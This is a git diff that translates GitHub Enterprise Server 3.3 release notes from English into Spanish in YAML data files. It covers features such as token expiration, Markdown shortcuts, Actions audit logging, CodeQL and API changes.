-        - "An expiration date can now be set for new and existing personal access tokens. Setting an expiration date on personal access tokens is highly recommended to prevent older tokens from leaking and compromising security. Token owners will receive an email when it's time to renew a token that's about to expire. Tokens that have expired can be regenerated, giving users a duplicate token with the same properties as the original.\n\nWhen using a personal access token with the {% data variables.product.company_short %} API, a new `GitHub-Authentication-Token-Expiration` header is included in the response, which indicates the token's expiration date. For more information, see \"[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token).\"\n"
+        - "Ahora se puede agregar una fecha de vencimiento para los tokens de acceso personal nuevos y existentes. Se recomienda ampliamente configurar una fecha de vencimiento en los tokens de acceso personal para prevenir que filtren información y pongan en riesgo la seguridad. Los propietarios de los tokens recibirán un correo electrónico cuando sea momento de renovar aquellos que estén próximos a vencer. Los tokens que hayan vencido pueden regenerarse, lo cual otorga a los usuarios un token duplicado con las mismas propiedades que el original.\n\nCuando se utiliza un token de acceso personal con la API de {% data variables.product.company_short %}, se incluye en la respuesta un encabezado nuevo de `GitHub-Authentication-Token-Expiration`, el cual indica la fecha de vencimiento del mismo. Para obtener más información, consulta la sección \"[Crear un token de acceso personal](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)\".\n"
     - heading: 'Notifications changes'
       notes:
         - 'Notification emails from discussions now include `(Discussion #xx)` in the subject, so you can recognize and filter emails that reference discussions.'
@@ -31,53 +32,53 @@ sections:
         - 'When viewing a branch that has a corresponding open pull request, {% data variables.product.prodname_ghe_server %} now links directly to the pull request. Previously, there would be a prompt to contribute using branch comparison or to open a new pull request.'
         - 'You can now click a button to copy the full raw contents of a file to the clipboard. Previously, you would need to open the raw file, select all, and then copy. To copy the contents of a file, navigate to the file and click {% octicon "copy" aria-label="The copy icon" %} in the toolbar. Note that this feature is currently only available in some browsers.'
         - 'When creating a new release, you can now select or create the tag using a dropdown selector, rather than specifying the tag in a text field. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)."'
-        - 'A warning is now displayed when viewing a file that contains bidirectional Unicode text. Bidirectional Unicode text can be interpreted or compiled differently than it appears in a user interface. For example, hidden bidirectional Unicode characters can be used to swap segments of text in a file. For more information about replacing these characters, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/).'
-        - 'You can now use `CITATION.cff` files to let others know how you would like them to cite your work. `CITATION.cff` files are plain text files with human- and machine-readable citation information. {% data variables.product.prodname_ghe_server %} parses this information into common citation formats such as [APA](https://apastyle.apa.org) and [BibTeX](https://en.wikipedia.org/wiki/BibTeX). For more information, see "[About CITATION files](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)."'
+        - 'Ahora se muestra una advertencia cuando visualizas un archivo que contenga texto bidireccional en Unicode. El texto bidireccional en Unicode puede interpretarse o compilarse de forma diferente a la que aparece en una interfaz de usuario. Por ejemplo, los caracteres bidireccionales en Unicode pueden utilizarse para intercambiar segmentos de texto en un archivo. Para obtener más información sobre cómo reemplazar estos caracteres, consulta la [Bitácora de cambios de {% data variables.product.prodname_dotcom %}](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/).'
+        - 'Ahora puedes utilizar los archivos de `CITATION.cff` para que otros sepan cómo te gustaría citar tu trabajo. Los archivos de `CITATION.cff` son archivos de texto simple con información de citas legibles tanto para humanos como para máquinas. {% data variables.product.prodname_ghe_server %} interpreta esta información en formatos de cita comunes, tales como [APA](https://apastyle.apa.org) y [BibTeX](https://en.wikipedia.org/wiki/BibTeX). Para obtener más información, consulta la sección "[Acerca de los archivos de CITA](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)".'
     - heading: 'Cambios en el Lenguaje de Marcado'
       notes:
-        - "You can use new keyboard shortcuts for quotes and lists in Markdown files, issues, pull requests, and comments.\n\n* To add quotes, use <kbd>cmd shift .</kbd> on Mac, or <kbd>ctrl shift .</kbd> on Windows and Linux.\n* To add an ordered list, use <kbd>cmd shift 7</kbd> on Mac, or <kbd>ctrl shift 7</kbd> on Windows and Linux.\n* To add an unordered list, use <kbd>cmd shift 8</kbd> on Mac, or <kbd>ctrl shift 8</kbd> on Windows and Linux.\n\nSee \"[Keyboard shortcuts](/get-started/using-github/keyboard-shortcuts)\" for a full list of available shortcuts.\n"
-        - 'You can now use footnote syntax in any Markdown field. Footnotes are displayed as superscript links that you can click to jump to the referenced information, which is displayed in a new section at the bottom of the document. For more information about the syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)."'
+        - "Puedes utilizar atajos de teclado nuevos para las citas y listas en los archivos de lenguaje de marcado, propuestas, solicitudes de cambio y comentarios.\n\n*Para agregar citas, utiliza <kbd>cmd shift .</kbd> en Mac o <kbd>ctrl shift .</kbd> en Windows y Linux.\n*Para agregar una lista ordenada, utiliza <kbd>cmd shift 7</kbd> en Mac o <kbd>ctrl shift 7</kbd> en Windows y Linux.\n*Para agregar una lista desordenada, utiliza <kbd>cmd shift 8</kbd> en Mac o <kbd>ctrl shift 8</kbd> en Windows y Linux.\n\nConsulta los \"[Atajos de teclado](/get-started/using-github/keyboard-shortcuts)\" para ver una lista de los atajos disponibles.\n"
+        - 'Ahora puedes utilizar la sintaxis de notas al pie en cualquier campo de lenguaje de marcado. Las notas al pie se muestran como enlaces en superíndice, en los cuales puedes hacer clic para saltar a la información referenciada, la cual se muestra en una sección nueva en la parte inferior del documento. Para obtener más información sobre la sintaxis, consulta la sección "[Escritura y sintaxis de formato básicas](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)".'
         - 'When viewing Markdown files, you can now click {% octicon "code" aria-label="The code icon" %} in the toolbar to view the source of a Markdown file. Previously, you needed to use the blame view to link to specific line numbers in the source of a Markdown file.'
         - 'You can now add images and videos to Markdown files in gists by pasting them into the Markdown body or selecting them from the dialog at the bottom of the Markdown file. For information about supported file types, see "[Attaching files](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)."'
         - '{% data variables.product.prodname_ghe_server %} now automatically generates a table of contents for Wikis, based on headings.'
         - 'When dragging and dropping files into a Markdown editor, such as images and videos, {% data variables.product.prodname_ghe_server %} now uses the mouse pointer location instead of the cursor location when placing the file.'
     - heading: 'Cambios en propuestas y sollicitudes de cambio'
       notes:
-        - 'You can now search issues by label using a logical OR operator. To filter issues using logical OR, use the comma syntax. For example, `label:"good first issue","bug"` will list all issues with a label of `good first issue` or `bug`. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)."'
-        - "Improvements have been made to help teams manage code review assignments. You can now:\n\n- Limit assignment to only direct members of the team.\n- Continue with automatic assignment even if one or more members of the team are already requested.\n- Keep a team assigned to review even if one or more members is newly assigned.\n\nThe timeline and reviewers sidebar on the pull request page now indicate if a review request was automatically assigned to one or more team members.\n\nFor more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/).\n"
+        - 'Ahora puedes buscar propuestas por etiqueta utilizando un operador lógico "OR". Para filtrar las propuestas utilizando un "OR" lógico, utiliza la sintaxis de coma. Por ejemplo, `label:"good first issue","bug"` listará todas las propuestas con una etiqueta de `good first issue` o de `bug`. "[Filtrar y buscar propuestas y solicitudes de cambio](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)".'
+        - "Se han realizado mejoras para ayudar a que los equipos administren las tareas de revisión de código. Ahora puedes:\n\n- Liminar las tareas únicamente para miembros directos del equipo.\n- Seguir con las tareas automáticas, incluso si uno o más miembros del equipo ya se solicitaron.\n- Mantener un equipo asignado a la revisión, incluso si uno o más miembros se asignaron recientemente.\n\nLas barras laterales de línea de tiempo y de revisores en la página de la solicitud de cambios ahora indican si una solicitud de revisión se asignó automáticamente a uno o más miembros del equipo.\n\nPara obtener más información, consulta la sección [Bitácora de cambios de {% data variables.product.prodname_dotcom %}](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/).\n"
         - 'You can now filter pull request searches to only include pull requests you are directly requested to review.'
         - 'Filtered files in pull requests are now completely hidden from view, and are no longer shown as collapsed in the "Files Changed" tab. The "File Filter" menu has also been simplified. For more information, see "[Filtering files in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)."'
     - heading: 'Cambioas a las GitHub Actions'
       notes:
         - 'You can now create "composite actions" which combine multiple workflow steps into one action, and includes the ability to reference other actions. This makes it easier to reduce duplication in workflows. Previously, an action could only use scripts in its YAML definition. For more information, see "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)."'
-        - 'Managing self-hosted runners at the enterprise level no longer requires using personal access tokens with the `admin:enterprise` scope. You can instead use the new `manage_runners:enterprise` scope to restrict the permissions on your tokens. Tokens with this scope can authenticate to [many REST API endpoints](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) to manage your enterprise''s self-hosted runners.'
-        - "The audit log now includes additional events for {% data variables.product.prodname_actions %}. Audit log entries are now recorded for the following events:\n\n* A self-hosted runner is registered or removed.\n* A self-hosted runner is added to a runner group, or removed from a runner group.\n* A runner group is created or removed.\n* A workflow run is created or completed.\n* A workflow job is prepared. Importantly, this log includes the list of secrets that were provided to the runner.\n\nFor more information, see \"[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events).\"\n"
+        - 'El administrar los ejecutores auto-hospedados a nivel empresarial ya no requiere del uso de tokens de acceso personal con el alcance de `admin:enterprise`. En vez de esto, puedes utilizar el alcance `manage_runners:enterprise` para restringir los permisos en tus tokens. Los tokens con este alcance pueden autenticarse con [muchas de las terminales de la API de REST](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) para administrar tus ejecutores auto-hospedados.'
+        - "La bitácora de auditoría ahora incluye eventos adicionales para {% data variables.product.prodname_actions %}. Ahora se registran entradas en la bitácora de auditoría para cuando:\n\n* Se registra o elimina un ejecutor auto-hospedado.\n* Se agrega un ejecutor auto-hospedad a un grupo de ejecutores o se elimina de uno de ellos.\n* Se crea o elimina un grupo de ejecutores.\n* Se crea o completa una ejecución de flujo de trabajo.\n* Se prepara un job de un flujo de trabajo. Es importante destacar que esta bitácora incluye la lista de secretos que se proporcionaron al ejecutor.\n\nPara obtener más información, consulta la sección \"[Fortalecimiento de seguridad para las {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)\".\n"
         - '{% data variables.product.prodname_ghe_server %} 3.3 contiene mejoras de rendimiento para la concurrencia de los jobs con {% data variables.product.prodname_actions %}. Para obtener más información acerca de las metas de rendimiento nuevas conforme a los rangos de configuraciones de CPU y memoria, consulta la sección "[Iniciar con las {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)".'
-        - 'To mitigate insider man in the middle attacks when using actions resolved through {% data variables.product.prodname_github_connect %} to {% data variables.product.prodname_dotcom_the_website %} from {% data variables.product.prodname_ghe_server %}, the actions namespace (`owner/name`) is retired on use. Retiring the namespace prevents that namespace from being created on your {% data variables.product.prodname_ghe_server %} instance, and ensures all workflows referencing the action will download it from {% data variables.product.prodname_dotcom_the_website %}.'
+        - 'Para mitigar las personas con información privilegiada en los ataques de intermediarios cuando se utilizan acciones que se resuelven mediante {% data variables.product.prodname_github_connect %} hacia {% data variables.product.prodname_dotcom_the_website %} desde {% data variables.product.prodname_ghe_server %}, el designador de nombre de las acciones (`owner/name`) se retira durante el uso. Retirar el designador de nombre previene que este se cree en tu instancia de {% data variables.product.prodname_ghe_server %} y garantiza que todos los flujos de trabajo que referencian la acción lo descargarán de {% data variables.product.prodname_dotcom_the_website %}.'
     - heading: 'Cambios a los GitHub packages'
       notes:
         - 'When a repository is deleted, any associated package files are now immediately deleted from your {% data variables.product.prodname_registry %} external storage.'
     - heading: 'Cambios al Dependabot y a la gráfica de Dependencias'
       notes:
-        - 'Dependency review is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Dependency review provides an easy-to-understand view of dependency changes and their security impact in the "Files changed" tab of pull requests. It informs you of which dependencies were added, removed, or updated, along with vulnerability information. For more information, see "[Reviewing dependency changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."'
-        - '{% data variables.product.prodname_dependabot %} is now available as a private beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} to be enabled. To learn more and sign up for the beta, contact the GitHub Sales team.'
+        - 'La revisión de dependencias ya salió de su beta y ahora está disponible en general para los clientes de la {% data variables.product.prodname_GH_advanced_security %}. La revisión de dependencias es una vista fácil de entender de los cambios de dependencias y de su impacto de seguridad, la cual se encuentra en la pestaña de "Archivos que cambiaron" de las solicitudes de cambios. Esta te informa de las dependencias que se agregaron, eliminaron o actualizaron en conjunto con la información de las vulnerabilidades. Para obtener más información, consulta la sección "[Revisar los cambios a las dependencias de una solicitud de cambios](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)".'
+        - 'El {% data variables.product.prodname_dependabot %} ahora se encuentra disponible en un beta privado, lo cual ofrece tanto actualizaciones de versión como de seguridad para varios ecosistemas populares. El {% data variables.product.prodname_dependabot %} en {% data variables.product.prodname_ghe_server %} requiere {% data variables.product.prodname_actions %} y un grupo de ejecutores auto-hospedados para que los utilice el {% data variables.product.prodname_dependabot %}. El {% data variables.product.prodname_dependabot %} en {% data variables.product.prodname_ghe_server %} también requiere que se habilite {% data variables.product.prodname_github_connect %}. Para aprender más y registrarse para el beta, contacta al equipo de Ventas de GitHub.'
     - heading: 'Cambios al escaneo de código y de secretos'
       notes:
-        - 'The depth of {% data variables.product.prodname_codeql %}''s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) and increasing the coverage of our existing library and framework models. [JavaScript](https://github.com/github/codeql/tree/main/javascript) analysis now supports most common templating languages, and [Java](https://github.com/github/codeql/tree/main/java) now covers more than three times the endpoints of previous {% data variables.product.prodname_codeql %} versions. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts.'
-        - '{% data variables.product.prodname_codeql %} now supports scanning standard language features in Java 16, such as records and pattern matching. {% data variables.product.prodname_codeql %} is able to analyze code written in Java version 7 through 16. For more information about supported languages and frameworks, see the [{% data variables.product.prodname_codeql %} documentation](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).'
-        - "Improvements have been made to the {% data variables.product.prodname_code_scanning %} `on:push` trigger when code is pushed to a pull request. If an `on:push` scan returns results that are associated with a pull request, {% data variables.product.prodname_code_scanning %} will now show these alerts on the pull request.\n\nSome other CI/CD systems can be exclusively configured to trigger a pipeline when code is pushed to a branch, or even exclusively for every commit. Whenever such an analysis pipeline is triggered and results are uploaded to the SARIF API, {% data variables.product.prodname_code_scanning %} will also try to match the analysis results to an open pull request. If an open pull request is found, the results will be published as described above. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/).\n"
-        - 'You can now use the new pull request filter on the {% data variables.product.prodname_code_scanning %} alerts page to find all the {% data variables.product.prodname_code_scanning %} alerts associated with a pull request. A new "View all branch alerts" link on the pull request "Checks" tab allows you to directly view {% data variables.product.prodname_code_scanning %} alerts with the specific pull request filter already applied. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/).'
-        - 'User defined patterns for {% data variables.product.prodname_secret_scanning %} is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Also new in this release is the ability to edit custom patterns defined at the repository, organization, and enterprise levels. After editing and saving a pattern, {% data variables.product.prodname_secret_scanning %} searches for matches both in a repository''s entire Git history and in any new commits. Editing a pattern will close alerts previously associated with the pattern if they no longer match the updated version. Other improvements, such as dry-runs, are planned in future releases. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)."'
+        - 'La profundidad del análisis de {% data variables.product.prodname_codeql %} se mejoró agregando compatibilidad para más [librerías y marcos de trabajo](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) e incrementando la cobertura de nuestros modelos de marcos de trabajo y librerías. El análisis de [JavaScript](https://github.com/github/codeql/tree/main/javascript) ahora es compatible con los lenguajes más comunes para generar plantillas y [Java](https://github.com/github/codeql/tree/main/java) ahora cubre más del triple de las terminales de las versiones anteriores de {% data variables.product.prodname_codeql %}. Como resultado, {% data variables.product.prodname_codeql %} ahora puede detectar aún más fuentes potenciales de datos de usuario no confiables, pasos mediante los cuales fluyen dichos datos y consumidores de datos potencialmente peligrosos en donde podrían estancarse los mismos. Esto proporciona una mejora general a la calidad de las alertas del {% data variables.product.prodname_code_scanning %}.'
+        - '{% data variables.product.prodname_codeql %} ahora es compatible con el escaneo de características de lenguaje estándar en Java 16, tales como la coincidencia con patrones y registros. {% data variables.product.prodname_codeql %} puede analizar el código escrito de la versión 7 a la 16 de Java. para obtener más información sobre qué lenguajes y marcos de trabajo son compatibles, consulta la [Documentación de {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).'
+        - "Se hicieron mejoras al activador `on:push` del {% data variables.product.prodname_code_scanning %} cuando se sube código a una solicitud de cambios. Si un escaneo de tipo `on:push` devuelve resultados asociados con una solicitud de cambios, el {% data variables.product.prodname_code_scanning %} ahora mostrará estas alertas en dicha solicitud.\n\nAlgunos otros sistemas de IC/DC pueden configurarse exclusivamente para activar una red de comunicación interna cuando se suba código a una rama o incluso exclusivamente para cada confirmación. Cada que dicho análisis de red de comunicación interna se active y los resultados se carguen a la API de SARIF, el {% data variables.product.prodname_code_scanning %} también intentará empatar los resultados de este análisis con una solicitud de cambios abierta. Si se encuentra dicha solicitud abierta, los resultados se publicarán conforme a lo descrito anteriormente, consulta el [Registro de cambios de {% data variables.product.prodname_dotcom %}](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/).\n"
+        - 'Ahora puedes utilizar el filtro de solicitud de cambios nuevo en la página de alertas de {% data variables.product.prodname_code_scanning %} para encontrar todas las alertas del {% data variables.product.prodname_code_scanning %} que tengan una solicitud de cambios. El enlace nuevo de "Ver todas las alertas de rama" en la pestaña de "Verificaciones" de una solicitud de cambios te permite ver directamente las alertas del {% data variables.product.prodname_code_scanning %} con el filtro de solicitudes de cambio específico que ya se haya aplicado. Para obtener más información, consulta la [Bitácora de cambios de {% data variables.product.prodname_dotcom %}](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/).'
+        - 'Los patrones definidos por usuario para el {% data variables.product.prodname_secret_scanning %} se encuentran en fase beta y ahora se encuentran disponibles en general para los clientes de {% data variables.product.prodname_GH_advanced_security %}. También, este lanzamiento cuenta con la capacidad de editar patrones personalizados que se definen en los niveles de repositorio, organización y empresa. Después de editar y guardar un patrón, el {% data variables.product.prodname_secret_scanning %} busca coincidencias tanto en el historial completo de Git del repositorio como en cualquier confirmación nueva. El editar un patrón cerrará las alertas que se asocian previamente con este en caso de que ya no coincidan con la versión actualizada. Tenemos otras mejoras planeadas para lanzamientos futuros, tales como las simulaciones. Para obtener más información, consulta la sección "[Definir patrones personalizados para el escaneo de secretos](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)".'
     - heading: 'API and webhook changes'
       notes:
-        - 'Most REST API previews have graduated and are now an official part of the API. Preview headers are no longer required for most REST API endpoints, but will still function as expected if you specify a graduated preview in the `Accept` header of a request. For previews that still require specifying the preview in the `Accept` header of a request, see "[API previews](/rest/overview/api-previews)."'
+        - 'La mayoría de las vistas previas de la API de REST se graduaron y ahora son parte oficial de la API. Los encabezados de vista previa ya no se requieren para la mayoría de las terminales de la API de REST, pero aún funcionarán como se espera si especificas una vista previa graduada en el encabezado de `Accept` de una solicitud. Para encontrar las vistas previas que aún requieran la especificación de la vista previa en el encabezado de `Accept` de una solicitud, consulta las "[Vistas previas de la API](/rest/overview/api-previews)".'
         - 'You can now use the REST API to configure custom autolinks to external resources. The REST API now provides beta `GET`/`POST`/`DELETE` endpoints which you can use to view, add, or delete custom autolinks associated with a repository. For more information, see "[Autolinks](/rest/reference/repos#autolinks)."'
-        - 'You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Repositories](/rest/reference/repos#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation.'
+        - 'You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Branches](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation.'
         - 'Enterprise administrators on GitHub Enterprise Server can now use the REST API to enable or disable Git LFS for a repository. For more information, see "[Repositories](/rest/reference/repos#git-lfs)."'
-        - 'You can now use the REST API to query the audit log for an enterprise. While audit log forwarding provides the ability to retain and analyze data with your own toolkit and determine patterns over time, the new endpoint can help you perform limited analysis on recent events. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" in the REST API documentation.'
+        - 'Ahora puedes utilizar la API de REST para consultar la bitácora de auditoría de una empresa. Mientras que el reenviar una bitácora de auditoría proporciona la capacidad de retener y analizar datos con tu propio kit de herramientas y determinar los patrones con el tiempo, la terminal nueva puede ayudarte a realizar un análisis limitado en los eventos recientes. Para obtener más información, consulta la sección "[Administración de {% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" en la documentación de la API de REST.'
         - 'GitHub App user-to-server API requests can now read public resources using the REST API. This includes, for example, the ability to list a public repository''s issues and pull requests, and to access a public repository''s comments and content.'
-        - 'When creating or updating a repository, you can now configure whether forking is allowed using the REST and GraphQL APIs. Previously, APIs for creating and updating repositories didn''t include the fields `allow_forking` (REST) or `forkingAllowed` (GraphQL). For more information, see "[Repositories](/rest/reference/repos)" in the REST API documentation and "[Repositories](/graphql/reference/objects#repository)" in the GraphQL API documentation.'
-        - "A new GraphQL mutation [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) makes it easier to add, update, and delete files in a branch of a repository. Compared to the REST API, you do not need to manually create blobs and trees before creating the commit. This allows you to add, update, or delete multiple files in a single API call.\n\nCommits authored using the new API are automatically GPG signed and are [marked as verified](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) in the {% data variables.product.prodname_ghe_server %} UI. GitHub Apps can use the mutation to author commits directly or [on behalf of users](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests).\n"
+        - 'Al crear o actualizar un repositorio, ahora puedes configurar si se permite bifurcarlo utilizando las API de REST y de GraphQL. Anteriormente, las API para crear y actualizar repositorios no incluían los archivos `allow_forking` (REST) o `forkingAllowed` (GraphQL). Para obtener más información, consulta la sección "[Repositories](/rest/reference/repos)" en la documentación de la API de REST y "[Repositories](/graphql/reference/objects#repository)" en la documentación de la API de GraphQL.'
+        - "Una mutación nueva de GraphQL [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) facilita el agregar, actualizar y borrar archivos en una rama de un repositorio. Comparado con la API de REST, no necesitas crear blobs y árboles manualmente antes de crear la confirmación. Esto te permite agregar, actualizar o borrar archivos múltiples en una sola llamada a la API.\n\nLas confirmaciones que se crean utilizando la API nueva se firman automáticamente con GPG y se [marcan como verificadas](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) en la IU de {% data variables.product.prodname_ghe_server %}. Las GitHub Apps pueden utilizar la mutación para crear confirmaciones, ya sea directamente o [en nombre de los usuarios](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests).\n"
         - 'When a new tag is created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload''s `after` commit.'
     - heading: 'Performance Changes'
       notes:
@@ -103,12 +104,12 @@ sections:
         - 'Starting with {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer is deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns.'
     - heading: 'Deprecation of OAuth Application API endpoints and API authentication using query parameters'
       notes:
-        - "To prevent accidental logging or exposure of `access_tokens`, we discourage the use of OAuth Application API endpoints and the use of API authentication using query parameters. View the following posts to see the proposed replacements:\n\n* [Replacement OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make)\n* [Replacement authentication using headers instead of query param](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)\n\nThese endpoints and authentication route are planned to be removed from {% data variables.product.prodname_ghe_server %} in {% data variables.product.prodname_ghe_server %} 3.4.\n"
+        - "Para prevenir los inicios de sesión accidentales o la exposición de `access_tokens`, desalentamos el uso de las terminales de la API de Aplicaciones OAuth y el uso de la autenticación de la API utilizando parámetros de consulta. Puedes ver las siguientes publicaciones para encontrar los reemplazos propuestos:\n\n*[Reemplazo de las terminales de la API de Aplicaciones OAuth](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make)\n*[Reemplazo de la autenticación utilizando encabezados en vez de parámetros de consulta](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)\n\nPlaneamos eliminar estas temrinales y ruta de autenticación desde {% data variables.product.prodname_ghe_server %} en {% data variables.product.prodname_ghe_server %} 3.4.\n"
     - heading: 'Deprecation of the CodeQL runner'
       notes:
-        - 'The {% data variables.product.prodname_codeql %} runner is being deprecated. {% data variables.product.prodname_ghe_server %} 3.3 will be the final release series that supports the {% data variables.product.prodname_codeql %} runner. Starting with {% data variables.product.prodname_ghe_server %} 3.4, the {% data variables.product.prodname_codeql %} runner will be removed and no longer supported. The {% data variables.product.prodname_codeql %} CLI version 2.6.2 or greater is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).'
+        - 'El ejecutor de {% data variables.product.prodname_codeql %} se obsoletizará. {% data variables.product.prodname_ghe_server %} 3.3 será el último lanzamiento de la serie que es compatible con el ejecutor de {% data variables.product.prodname_codeql %}. Desde {% data variables.product.prodname_ghe_server %} 3.4, se eliminará el ejecutor de {% data variables.product.prodname_codeql %} y este ya no será compatible. La versión 2.6.2 del CLI de {% data variables.product.prodname_codeql %} o superior es un reemplazo con todas las características para el ejecutor del {% data variables.product.prodname_codeql %}. Para obtener más informa]ción, consulta la sección [Bitácora de cambios de {% data variables.product.prodname_dotcom %}(https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).'
     - heading: 'Deprecation of custom bit-cache extensions'
       notes:
-        - "Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are now deprecated in {% data variables.product.prodname_ghe_server %} 3.3.\n\nAny repositories that were already present and active on {% data variables.product.product_location %} running version 3.1 or 3.2 will have been automatically updated.\n\nRepositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed.\n\nTo start a repository maintenance task manually, browse to `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` for each affected repository and click the **Schedule** button.\n"
+        - "Desde {% data variables.product.prodname_ghe_server %} 3.1, el soporte de las extensiones bit-cache propietarias de {% data variables.product.company_short %} se comenzó a eliminar paulatinamente. Estas extensiones ahora son obsoletas en {% data variables.product.prodname_ghe_server %} 3.3.\n\nCualquier repositorio que ya haya estado presente y activo en {% data variables.product.product_location %} ejecutando la versión 3.1 o 3.2 ya se actualizó atuomáticamente.\n\nLos repositorios que no estuvieron presentes y activos antes de mejorar a {% data variables.product.prodname_ghe_server %} 3.3 podrían no funcionar de forma óptima sino hasta que se ejecute una tarea de mantenimiento de repositorio y esta se complete exitosamente.\n\nPara iniciar una tarea de mantenimiento de repositorio manualmente, dirígete a `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` en cada repositorio afectado y haz clic en el botón **Schedule**.\n"
   backups:
     - '{% data variables.product.prodname_ghe_server %} 3.3 requires at least [GitHub Enterprise Backup Utilities 3.3.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).'
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-3/1.yml b/translations/es-ES/data/release-notes/enterprise-server/3-3/1.yml
index 435f2d86a7..1506c34b97 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-3/1.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-3/1.yml
@@ -2,7 +2,8 @@
 date: '2021-12-13'
 sections:
   security_fixes:
